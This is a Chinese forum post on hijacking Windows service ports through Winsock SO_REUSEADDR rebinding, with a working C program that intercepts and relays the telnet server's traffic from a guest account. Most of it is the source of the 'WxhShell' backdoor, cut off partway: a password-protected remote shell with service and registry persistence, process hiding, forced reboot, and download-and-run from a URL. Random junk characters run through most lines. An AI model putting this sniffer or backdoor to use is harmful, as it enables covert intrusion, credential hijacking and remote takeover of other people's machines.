社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 16162阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: WNR]GI  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0ix(1`Z  
tN#C.M7.'7  
  saddr.sin_family = AF_INET; r1!1u7dr t  
BN*:*cmUl  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); [f+wP|NKL  
K0w}l" )A  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); =O}I{dNKZV  
^0]0ss;##R  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 `gSMb UgF  
}rQQe:{]B  
  这意味着什么?意味着可以进行如下的攻击: 8D.c."q  
]B>76?2W  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !MoAga_ j  
t6Iy5)=zY  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) BU -;P  
bEcs(Mc~  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 |[],z 8  
t/ \S9  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  WI\a  
@$ 7 GrT  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @=kg K[t 9  
ky2]%cw  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?:r?K|Ku  
=lAjQt  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 IfmQP s+f  
=g+}4P  
  #include LR=Ji7  
  #include jNj;#C)  
  #include UJO3Yn  
  #include    etX@z'H  
  DWORD WINAPI ClientThread(LPVOID lpParam);   /8; m.J>bf  
  int main() /&Q{B f  
  { AJyN lQ  
  WORD wVersionRequested; |z)s9B;:#i  
  DWORD ret; /3s&??{tv  
  WSADATA wsaData; T0 K!Msz  
  BOOL val; 2^[dy>[y0  
  SOCKADDR_IN saddr; tz ;3  
  SOCKADDR_IN scaddr; cWW?@ _  
  int err; 8 a]'G)(ts  
  SOCKET s; ;JxL>K(  
  SOCKET sc; "_/ih1z]  
  int caddsize; HH*y$  
  HANDLE mt; fd[N]I3  
  DWORD tid;   )tG. 9"<  
  wVersionRequested = MAKEWORD( 2, 2 ); Q`F1t  
  err = WSAStartup( wVersionRequested, &wsaData ); k;\gYb%L  
  if ( err != 0 ) { *)K\&h<{  
  printf("error!WSAStartup failed!\n"); 1L,L/sOwB&  
  return -1; R-%6v2;ry  
  } >YI Vi4''  
  saddr.sin_family = AF_INET; !Cgj >=  
   um%_kX  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 5L3+KkX@  
^PEw#.WG  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); "Z&.m..gc  
  saddr.sin_port = htons(23); .B]l@E-u  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "t^v;?4  
  { W>#yXg9  
  printf("error!socket failed!\n"); gqS9{K(f  
  return -1; g}MUfl-L  
  } "Not /8J  
  val = TRUE; nI6 gd%C  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 +q&Hj|;8r  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) SnE^\I^O  
  { qfsPX6]  
  printf("error!setsockopt failed!\n"); d+,!>.<3  
  return -1; |Gic79b  
  } X['9;1Xr  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6f +aGz  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 f<8Hvumw  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 lpG%rN!  
^/BGOBK  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ",,#q  
  { ;VE y{%nF  
  ret=GetLastError(); m* m),mZ"  
  printf("error!bind failed!\n"); -,bnj^L  
  return -1; uw\@~ ,d  
  } %u!=<yn'  
  listen(s,2); 2.3_FXSt  
  while(1) [6a-d> e{  
  { l!*_[r   
  caddsize = sizeof(scaddr); +gd5&  
  //接受连接请求 t"$~o:U&)  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3en 9TB  
  if(sc!=INVALID_SOCKET) mG S4W;  
  { ^}+\52w  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); b,Wm]N  
  if(mt==NULL) n^nE&'[?0g  
  { x3ZF6)@  
  printf("Thread Creat Failed!\n"); B@F@,?K4%  
  break; v@$N,g  
  } 9JFN8Gf*)  
  } m?kiGC&m  
  CloseHandle(mt); AM- bs^  
  } -PV1x1|  
  closesocket(s); x*Z'i<;B  
  WSACleanup(); )9H5'Wh#  
  return 0; dk&e EDvfd  
  }   z>N[veX%  
  DWORD WINAPI ClientThread(LPVOID lpParam) :7K a4  
  { Et3]n$  
  SOCKET ss = (SOCKET)lpParam; /x49!8  
  SOCKET sc; 0j@mzd2  
  unsigned char buf[4096]; ;MN$.x+  
  SOCKADDR_IN saddr; T >8P1p@A,  
  long num; iTHwH{!  
  DWORD val; x)C}  
  DWORD ret; *?<N3Rr*  
  //如果是隐藏端口应用的话,可以在此处加一些判断 jz8u'y[n7  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   cUq]PC$|  
  saddr.sin_family = AF_INET; IHTim T?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); p{Q6g>?[  
  saddr.sin_port = htons(23); vX:}tir[  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9[qOfIny  
  { d<-f:}^k0  
  printf("error!socket failed!\n"); D;YfQQr  
  return -1; P}4&J ^  
  } .HZd.*  
  val = 100; h,{Q%sqO  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) V&f*+!!2  
  { C&z!="hMhR  
  ret = GetLastError(); "L2*RX.R  
  return -1; OD)X7PU  
  } T ipH}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X9| Z ?jJ  
  { `bQ_eRw}  
  ret = GetLastError(); ?("O.<  
  return -1; *aCL/:  
  } =d8Rij-  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +0Q   
  { :^y!z1\2(7  
  printf("error!socket connect failed!\n"); lgews"  
  closesocket(sc); WX4sTxJK  
  closesocket(ss); kgo#JY-4  
  return -1; >SXSrXyYX  
  } k>ErD v8  
  while(1) b/_Zw^DPC  
  { Hf('BagBL  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 SRfh{u  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 m]?Z_*1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9\"\7S/Z  
  num = recv(ss,buf,4096,0); btg= # u  
  if(num>0) b d 1^  
  send(sc,buf,num,0); }{F)Ren  
  else if(num==0) <%^/uS  
  break; QYbB\Y  
  num = recv(sc,buf,4096,0); H?"M&mF  
  if(num>0) Ovt]3`U9J  
  send(ss,buf,num,0); qe.QF."y  
  else if(num==0) cH&)Iz`f  
  break; -H%v6E%yh  
  } O_;BZzT  
  closesocket(ss); UC+Qn  
  closesocket(sc); +,spC`M6h  
  return 0 ; ?J2{6,}O*.  
  } Xy(QK2|  
c=u+X` Q  
4 $R!)  
========================================================== [#GBn0BG)  
3uYLA4[-B  
下边附上一个代码,,WXhSHELL =G}a%)?As\  
[ bnu DS  
========================================================== jgE{JK\n4  
[R4# bl  
#include "stdafx.h" yepRJ%mp  
NAo.79   
#include <stdio.h> ]KuM's  
#include <string.h> PzPNvV/o  
#include <windows.h> *z[vp2 TN  
#include <winsock2.h> 9i\}^ s2  
#include <winsvc.h> Kyh6QA^  
#include <urlmon.h> ]-t )wGr  
P"NI> HM  
#pragma comment (lib, "Ws2_32.lib") Y @ v][Q  
#pragma comment (lib, "urlmon.lib") 0'd@8]|H  
Vs 5 &X+k  
#define MAX_USER   100 // 最大客户端连接数 [6TI_U~  
#define BUF_SOCK   200 // sock buffer 3X(^`lAf)  
#define KEY_BUFF   255 // 输入 buffer ZSNbf|ldiE  
Vu(NP\Wm  
#define REBOOT     0   // 重启 6 :4GI  
#define SHUTDOWN   1   // 关机 ;Pk"mC  
OD'~t,St  
#define DEF_PORT   5000 // 监听端口 :kHk'.V1(  
lH3.q4D 5  
#define REG_LEN     16   // 注册表键长度 -=lm`X<:  
#define SVC_LEN     80   // NT服务名长度 /6rjGc  
XI`_PQco  
// 从dll定义API Kvg=7o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \];|$FQg  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?`TJ0("z"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &m5^ YN$b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L@\t] ~  
W,~*pyLdO  
// wxhshell配置信息 ]MYbx)v)  
struct WSCFG { ;d<XcpK}  
  int ws_port;         // 监听端口 TU?n;h#TZ  
  char ws_passstr[REG_LEN]; // 口令 k Fl* Im  
  int ws_autoins;       // 安装标记, 1=yes 0=no %# uw8V  
  char ws_regname[REG_LEN]; // 注册表键名 Wqv7  
  char ws_svcname[REG_LEN]; // 服务名 t'F$/mx.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >*!T`P}p  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 sA6HkB.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?e-rwaW  
int ws_downexe;       // 下载执行标记, 1=yes 0=no SsX$l<t*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _,^f,WO~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F-@y H  
xLIyh7$t  
}; u|23M,  
8!v|`Ky  
// default Wxhshell configuration `x=kb;  
struct WSCFG wscfg={DEF_PORT, DQhHU1  
    "xuhuanlingzhe", n^QDMyC;I  
    1, m@nGXl'!  
    "Wxhshell", fyUW;dj  
    "Wxhshell", qF3S\ C  
            "WxhShell Service", :C;fEJN  
    "Wrsky Windows CmdShell Service", =x w:@(]{  
    "Please Input Your Password: ", ;2h"YU-b  
  1, cV:Q(|QC  
  "http://www.wrsky.com/wxhshell.exe", +PYR  
  "Wxhshell.exe" p3fV w]N  
    }; x75;-q  
3=]/+{B  
// 消息定义模块 TPb&";4ROf  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; a?Om;-i2`S  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ip'v<%,Q3"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -T+yS BO_3  
char *msg_ws_ext="\n\rExit."; J>dj]1I  
char *msg_ws_end="\n\rQuit."; E2 'Al6^C  
char *msg_ws_boot="\n\rReboot..."; Ew}GPJ  
char *msg_ws_poff="\n\rShutdown..."; H?opG<R=ek  
char *msg_ws_down="\n\rSave to "; fx 08>r   
L,_U co  
char *msg_ws_err="\n\rErr!"; I-.? qcy~  
char *msg_ws_ok="\n\rOK!"; gu3)HCZ  
>`3 0 ib  
char ExeFile[MAX_PATH];  qjfv9sU  
int nUser = 0; ^ &KH|qRrO  
HANDLE handles[MAX_USER]; y3*IF2G  
int OsIsNt; N cHCcc  
J'cE@(US  
SERVICE_STATUS       serviceStatus; 5YZ\@<|rH  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @W+8z#xr'  
21$^k5  
// 函数声明 KI<x`b  
int Install(void); f`8fNt  
int Uninstall(void); z=k*D^X  
int DownloadFile(char *sURL, SOCKET wsh); 0T3r#zQ  
int Boot(int flag); >&<D.lx  
void HideProc(void); ,_,7c or  
int GetOsVer(void); z"5e3w  
int Wxhshell(SOCKET wsl); \i~5H]?d  
void TalkWithClient(void *cs); tSDp>0yZ3  
int CmdShell(SOCKET sock); E3Z>R=s  
int StartFromService(void); -NG9?sI\U  
int StartWxhshell(LPSTR lpCmdLine); =L$RY2S"  
"z.!h(Eq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y^p%/p%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 17Q* <iCs  
j@Us7Q)A(  
// 数据结构和表定义 nkkGJV!  
SERVICE_TABLE_ENTRY DispatchTable[] = suj}A  
{ t[%=[pJHW  
{wscfg.ws_svcname, NTServiceMain}, fv3)#>Dgp>  
{NULL, NULL} HV3wUEI3  
}; %4To@#c  
0@f7`D  
// 自我安装 ,Ur~DXY  
int Install(void) {iq{<;)U?U  
{ HSl$ U0  
  char svExeFile[MAX_PATH]; ]*S_fme  
  HKEY key; uuh vd h=  
  strcpy(svExeFile,ExeFile); 8DrKq]&  
(aCl*vV1  
// 如果是win9x系统,修改注册表设为自启动 J! eVw\6  
if(!OsIsNt) { nfvs"B;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I^ A01\p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;rta#pRn  
  RegCloseKey(key); cmh/a~vYaY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sEfGf.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NOmSLIgt7  
  RegCloseKey(key); j1toV$)P  
  return 0; 1/q iE{NW  
    } [laX~(ND{  
  } 0H.B>: pv  
} kqAQrg]n  
else { c9E9Rx  
T{K+1SPy4  
// 如果是NT以上系统,安装为系统服务 aEZn6k1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p|%Y\!  
if (schSCManager!=0) l:+pO{7L  
{ H "?-&>V-  
  SC_HANDLE schService = CreateService zT+yZA.L  
  ( cfe[6N  
  schSCManager, =Jl1D*B*  
  wscfg.ws_svcname, Pq7tNM E  
  wscfg.ws_svcdisp, TAJ9Y<  
  SERVICE_ALL_ACCESS, Y=rW.yK8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Js#c9l{{  
  SERVICE_AUTO_START, `TsfscN  
  SERVICE_ERROR_NORMAL, M!6bf  
  svExeFile, TbU9 < mY  
  NULL,  Ez1*}  
  NULL, <u($!ATb  
  NULL, 9'8oOBqm3%  
  NULL, f&cG;Y  
  NULL E.% F/mM  
  ); 2Nl("e^kJr  
  if (schService!=0) yb**|[By  
  { 3x9C]  
  CloseServiceHandle(schService); r@<;  
  CloseServiceHandle(schSCManager); 6nSk,yE'hE  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w)8@Tu:Q  
  strcat(svExeFile,wscfg.ws_svcname); +ow ^xiD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~ pdf'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mg,f>(  
  RegCloseKey(key); .y2<2eW  
  return 0; }>XSp)"{l  
    } y<.!TULa_  
  } 7<:w-  
  CloseServiceHandle(schSCManager); (1} Ndo^;w  
} `y6l^ep  
} ez5`B$$  
d<b,LD^  
return 1; E:E &Wv?r  
} =L wX+c  
`Zi#rr|)L  
// 自我卸载 o5$K^2^g  
int Uninstall(void) K+$c,1wb  
{ {4m"S 7O  
  HKEY key; a&ByV!%%+_  
2nie I*[  
if(!OsIsNt) { A0X0t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O}D8  
  RegDeleteValue(key,wscfg.ws_regname); CijS=-  
  RegCloseKey(key); n*6s]iG V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `U1%d7[vY  
  RegDeleteValue(key,wscfg.ws_regname); S&uL9)Glb  
  RegCloseKey(key); I~qiF%?d  
  return 0; 4K;j:ZJ"x  
  } ry]7$MQyV  
} v#+w<gRq  
} Y-c~"#  
else { )Z%+~n3o'  
xA5$!Oq7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hCvn(f  
if (schSCManager!=0) yK7>^p}V  
{ TxCQGzqe  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); k"7eHSy,  
  if (schService!=0) 4vQHr!$Ep  
  { |O9=C`G_  
  if(DeleteService(schService)!=0) { udZ: OU<  
  CloseServiceHandle(schService); G([vy#p  
  CloseServiceHandle(schSCManager); @!'H'GvA  
  return 0; #Fd( [Zx#.  
  } Xbtv}g<0c  
  CloseServiceHandle(schService); (}}8DB  
  } RZtL<2.@  
  CloseServiceHandle(schSCManager); uY~A0I5Z  
}  ck~xj0  
} c-=0l)&'D=  
QMxz@HGa|  
return 1; a*[\edcHU  
} e d*AU,^@v  
X[~CLKH(  
// 从指定url下载文件 g[jZ A[[  
int DownloadFile(char *sURL, SOCKET wsh) ggTjd"|)  
{ ncdr/(`  
  HRESULT hr; qU n>  
char seps[]= "/"; U.F65KaKF  
char *token; `j![  
char *file; qi2dTB  
char myURL[MAX_PATH]; Q8q_w2s,  
char myFILE[MAX_PATH]; DS2$w9!  
cj<@~[uw  
strcpy(myURL,sURL); NLGr=*dq  
  token=strtok(myURL,seps); 6<Wr 8u,  
  while(token!=NULL) X8x>oV;8  
  { ECzNByP  
    file=token; %4Zy1{yKs_  
  token=strtok(NULL,seps); B ,Brmn  
  } 2AW{qwk7  
uP]o39b;V  
GetCurrentDirectory(MAX_PATH,myFILE); TMCA?r%Y\  
strcat(myFILE, "\\"); 3@?YTez#  
strcat(myFILE, file); \AzcW;03g[  
  send(wsh,myFILE,strlen(myFILE),0); \W^+vuD8  
send(wsh,"...",3,0); XE*bRTEw  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9Ol_z\5  
  if(hr==S_OK) >NA7,Z2.  
return 0; T_[\(K`w!  
else r_E)HL/A  
return 1; *$C[![   
[Mc5N  
} V9_HC f  
34kd|!e,  
// 系统电源模块 E57{*C  
int Boot(int flag) a[g|APZz  
{ 3og$'#6P  
  HANDLE hToken; X$iJ|=vW  
  TOKEN_PRIVILEGES tkp; qjzW9yV+  
?(8%SPRk  
  if(OsIsNt) { Pm(:M:a  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >wO$Vu `t  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,D2_Z]  
    tkp.PrivilegeCount = 1; yGG B  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~C7<a48x  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @[lc0_ b  
if(flag==REBOOT) { F(~_L.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) XuoEAu8]  
  return 0; /JubiLEK  
} m<"fRT!Y  
else { `Uj?PcS_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /NX7Vev  
  return 0; )z235}P  
} 0&IXzEOr  
  } EQ63VF  
  else { T) tZU?  
if(flag==REBOOT) { auTTvJ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) uoY`qF.`  
  return 0; 83ic@[  
} O& %"F8B  
else { #t2UPLO~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Gh[`q7B Q  
  return 0; 9me}&Fdr  
} .n& Cq+U;  
} =ch Af=  
b}Hl$V(uD  
return 1; TF0-?vBWh  
} #>m, Cm  
Q|= Q]$d  
// win9x进程隐藏模块 zP(=,)d  
void HideProc(void) C nSX  
{ ,)rZAI  
2iPmCG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u2-@?yt  
  if ( hKernel != NULL ) FfxX)p1t  
  { {#1j"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,> (bt%b  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (!VMnLlXRK  
    FreeLibrary(hKernel); \YlF>{LVe  
  } ~i }+P71  
X(y  
return; ~S^X"8(U  
} :qAc= IC%  
uqa4&2(I=j  
// 获取操作系统版本  H\=LE  
int GetOsVer(void) xv$)u<Ve  
{ pdi=6<?bd  
  OSVERSIONINFO winfo; 1J-Qh<Q   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b@wBR9s  
  GetVersionEx(&winfo); VqD[G<|9T  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) XJmFJafQD  
  return 1; h eE'S/  
  else b$v[@"1  
  return 0; QOT)x4!)  
} >lraYMc<rZ  
Hz]4AS  
// 客户端句柄模块 aJ6#=G61l  
int Wxhshell(SOCKET wsl) y8w0eq94  
{ qukjS#>+  
  SOCKET wsh; Q(IJD4  
  struct sockaddr_in client; Mhe |eD#)  
  DWORD myID; CJ9cCtA  
aFRTNu/r  
  while(nUser<MAX_USER) l_c^ .D  
{ _/,SZ-C#L4  
  int nSize=sizeof(client); W!/vm  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Yzj%{fkh  
  if(wsh==INVALID_SOCKET) return 1; }rz dm9  
_m9~*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4? m/*VV  
if(handles[nUser]==0) 8^/+wa+G  
  closesocket(wsh); E tJ~dL)  
else |H ^w>mk  
  nUser++; eM?rc55|  
  } ;W7hc!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); g!1I21M1~  
(jM<T;4  
  return 0; XVQL.A7  
} H1` rM^,%A  
Y 3o^Euou  
// 关闭 socket o"|O ]  
void CloseIt(SOCKET wsh) \s=QiPK  
{ "A%MVym."  
closesocket(wsh); S?*^>Y-e;  
nUser--; (E!%v`_0  
ExitThread(0); Uh|TDuM  
} n}19?K]g  
0/ut:RV0  
// 客户端请求句柄 ;K3d' U  
void TalkWithClient(void *cs) xM&EL>m>L  
{ c#=&!FRe  
lZ}P{d'f.  
  SOCKET wsh=(SOCKET)cs; ~\2;i]|  
  char pwd[SVC_LEN]; 8{oZi]ob  
  char cmd[KEY_BUFF]; p` $fTgm  
char chr[1]; 1{^CfamF  
int i,j; xXOR IlD  
J;S-+  
  while (nUser < MAX_USER) { ;:P7}v fz!  
O47PkP8  
if(wscfg.ws_passstr) { Q\H_t)-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^Sw2xT$p{j  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Qe_+r(3)k  
  //ZeroMemory(pwd,KEY_BUFF); RF:04d  
      i=0;  Q.yb4  
  while(i<SVC_LEN) { v{r1E]rY  
J2m"1gq,  
  // 设置超时 CA/ -Gb  
  fd_set FdRead; 6;gLwOeOHY  
  struct timeval TimeOut; VrVDm*AGQ  
  FD_ZERO(&FdRead); "rsSW 3_  
  FD_SET(wsh,&FdRead); -OWZ6#v(  
  TimeOut.tv_sec=8; {#N%Bq}  
  TimeOut.tv_usec=0; ^_sQG  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $%Z3;:<Uf-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (Ux [[  
u\f3qc,]F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /HZv  
  pwd=chr[0]; ;`+`#h3-V  
  if(chr[0]==0xd || chr[0]==0xa) { uxb:^d?D!  
  pwd=0; zZ: xEc  
  break; 1eHe~p ,  
  } X &D{5~qC  
  i++; 0'`S,  
    } yPoSJzC=[  
~ ltg  
  // 如果是非法用户,关闭 socket ET.dI.R8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @MOCug4  
} 9Sz7\W0  
~@D/A/|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !>3LGu,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >g]ON9CGH  
BZ+;n |<r  
while(1) { 5]d{6Nc3P  
%m`zWg-  
  ZeroMemory(cmd,KEY_BUFF); Bd&`Xfebj  
Wo!;K|~P  
      // 自动支持客户端 telnet标准   '#q4Bc1  
  j=0; [1SMg$@<  
  while(j<KEY_BUFF) { o/^1Wm=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); : y1Bt+Fp  
  cmd[j]=chr[0]; UFw](%=&M  
  if(chr[0]==0xa || chr[0]==0xd) { yQ%"U^.m  
  cmd[j]=0; &I/qG`W  
  break; O,'#C\   
  } Ac`;st%l.  
  j++; Hhl-E:"H`  
    } <<,>S&/  
),` 8eQC  
  // 下载文件 )+EN$*H  
  if(strstr(cmd,"http://")) { e<"/'Ql!k  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3{ "O,h  
  if(DownloadFile(cmd,wsh)) ~=cmM  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); hqDqt"dKz  
  else n_23EcSy  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x+7*ADKb  
  } t,<UohL|z  
  else { ? JXa~.dA  
*yez:qnx  
    switch(cmd[0]) { PVYyE3`UB  
  `]<`$71w  
  // 帮助 #|f~s  
  case '?': { d1G8*YO@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zk}{ dG^M:  
    break; *eb-rhCVn  
  } E!mmLVa9  
  // 安装 76@qHTh }  
  case 'i': { Ow/@Z7~  
    if(Install()) tj5giQ3DG)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *9 D!A  
    else DNP@A4~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DQ80B)<O  
    break; 7x k|+!  
    } (kw5>c7  
  // 卸载 {x@|VuL=  
  case 'r': { r:g9Z_  
    if(Uninstall()) ar ^i|`D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Adx`8}N8  
    else w/m:{cHk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [*4fwk^  
    break; | C+o;  
    } ^}$O|t  
  // 显示 wxhshell 所在路径 2`bdrRD0  
  case 'p': { T@ YGB]*Y  
    char svExeFile[MAX_PATH]; eV};9VJ$F  
    strcpy(svExeFile,"\n\r"); ]A+o>#n}x  
      strcat(svExeFile,ExeFile); ,o#kRWRG  
        send(wsh,svExeFile,strlen(svExeFile),0); \ |!\V  
    break; GbZ;#^S  
    } X#p Wyo~  
  // 重启 Z-X?JA\&  
  case 'b': { [f{VIE*?%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  9A$m$  
    if(Boot(REBOOT)) q|(W-h+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tWPO]3hW  
    else { :d,^I@]  
